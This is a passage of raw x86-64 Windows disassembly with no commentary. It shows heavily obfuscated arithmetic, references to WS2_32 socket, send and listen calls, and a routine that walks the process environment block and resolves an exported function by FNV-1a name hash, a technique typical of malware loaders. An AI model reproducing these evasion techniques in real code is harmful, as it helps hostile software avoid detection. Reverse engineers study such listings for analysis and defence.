lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
add rbx, r8
jmp 0x140061965
movzx r9d, r11b
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140061927
lea ecx, [r11 + 4]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
inc r11
jmp 0x140060f33
lea ecx, [r11 - 0x20]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
inc r11
jmp 0x140060f33
movzx r9d, r11b
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x1400618df
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x1400615d0
lea edx, [r11 - 0x6e]
mov ecx, 1
movzx eax, dl
and al, r10b
jmp 0x140061452
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140061607
lea edx, [r11 - 0xc]
mov ecx, 0x2a
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x140060f33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006162c
lea edx, [r11 + 0x3c]
mov ecx, 0x2e
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400619a0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140061647
movzx r9d, r11b
mov ecx, 0x34
lea edx, [r9 - 0x58]
jmp 0x140061916
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006145d
mov ecx, 0x3a
movzx r9d, r11b
movzx eax, r10b
lea edx, [r9 + 0x14]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400618df
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400616a3
mov ecx, 0x3f
movzx r9d, r11b
movzx eax, r10b
lea edx, [r9 - 0x12]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400618df
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400616ce
lea ecx, [r11 + 0x36]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x7a
inc r11
jmp 0x140060f33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400616fa
movzx r9d, r11b
movzx eax, r10b
movzx edi, r10b
lea edx, [r9 + 0x5a]
and al, dl
add al, al
sub dil, al
sub dil, 0x76
add dil, dl
jmp 0x140061927
cmp rbx, rcx
jne 0x14006171b
lea ecx, [r11 - 0x5e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x6e
jmp 0x140061965
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140061410
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
movzx edi, r10b
add al, al
sub dil, al
sub dil, 0x6a
add dil, dl
jmp 0x1400619a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006177b
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + r10]
sub dil, 0x58
inc r11
jmp 0x140060f33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400617a3
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
movzx edi, r10b
add al, al
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x1400619c8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400613cb
lea ecx, [r11 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x48
add rbx, r8
jmp 0x140061965
movzx edi, byte [rbp + r11 - 0x30]
movzx r9d, r11b
movzx eax, r10b
lea edx, [r9 + 0x50]
and al, dl
add al, al
sub dil, al
sub dil, 0x30
add dil, r10b
add dil, dl
jmp 0x140061927
lea edx, [r11 + 0x74]
movzx eax, r10b
and al, dl
movzx edi, r10b
add al, al
sub dil, al
sub dil, byte [rbp + r11 - 0x30]
sub dil, 0x2c
add dil, dl
jmp 0x1400619a3
mov ecx, 0x27
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140061a25
lea edx, [r11 - 0x52]
mov ecx, 0x1f
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x140061965
mov ecx, 0x1d
movzx r9d, r11b
movzx eax, r10b
lea edx, [r9 - 0x76]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140061927
lea edx, [r11 + 0x66]
mov ecx, 0x1b
movzx eax, r10b
dec r11
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r11
jmp 0x140060f33
mov ecx, reloc.WS2_32.dll_socket
movzx r9d, r11b
movzx eax, r10b
lea edx, [r9 + 0x1e]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400618df
movzx r9d, r11b
mov ecx, reloc.WS2_32.dll_send
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, r10b
sub r9b, 0x42
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x32
add r10b, r9b
mov byte [rbp + r11 - 0x30], r10b
inc r8
dec r11
inc r11
jmp 0x140060f33
movzx r9d, r11b
mov ecx, reloc.WS2_32.dll_listen
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x2e
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 - 0x30], r9b
add rbx, r8
jmp 0x140061965
lea rdx, [r11 + r13]
mov ecx, 9
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140060f33
mov eax, 7
movabs rcx, 0xbcb08667ebe92ffe
add rcx, r11
movzx r10d, r9b
and r9b, cl
sub al, r9b
lea edi, [rax + rax]
add dil, cl
add dil, r10b
lea ecx, [r11 + 6]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x2a
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x30], al
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x68]
inc rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
sub cl, 0x28
add cl, r10b
mov byte [rbp + r11 - 0x30], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140060f33
mov ecx, 3
movabs rdx, 0x50ddf075ae3f5db6
add rdx, r11
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x140060f33
sub r11b, 0x26
mov ecx, 5
movzx eax, r10b
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140060f30
sub r11b, 0x4a
mov ecx, 3
movzx eax, r10b
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x140060f20
lea rdx, [rbp + 0x14651e8]
jmp 0x140061a92
lea rdx, [rbp + 0x170c67a]
jmp 0x140061a92
lea rdx, [rbp - 0x30]
mov rcx, r15
call r14
test rax, rax
je 0x140061b58
mov qword [0x1401de1f0], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140061b35
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140061b35
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140061b30
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140061b10
cmp edx, 0xab45c5ee
je 0x140061b3a
test r9d, r9d
jne 0x140061af0
mov rax, qword [rax]
jmp 0x140061ac0
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r10
add rcx, r10
movzx edx, word [rax + r9*2]
mov eax, dword [rcx + rdx*4]
mov rcx, r15
add rax, r10
call rax
mov al, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret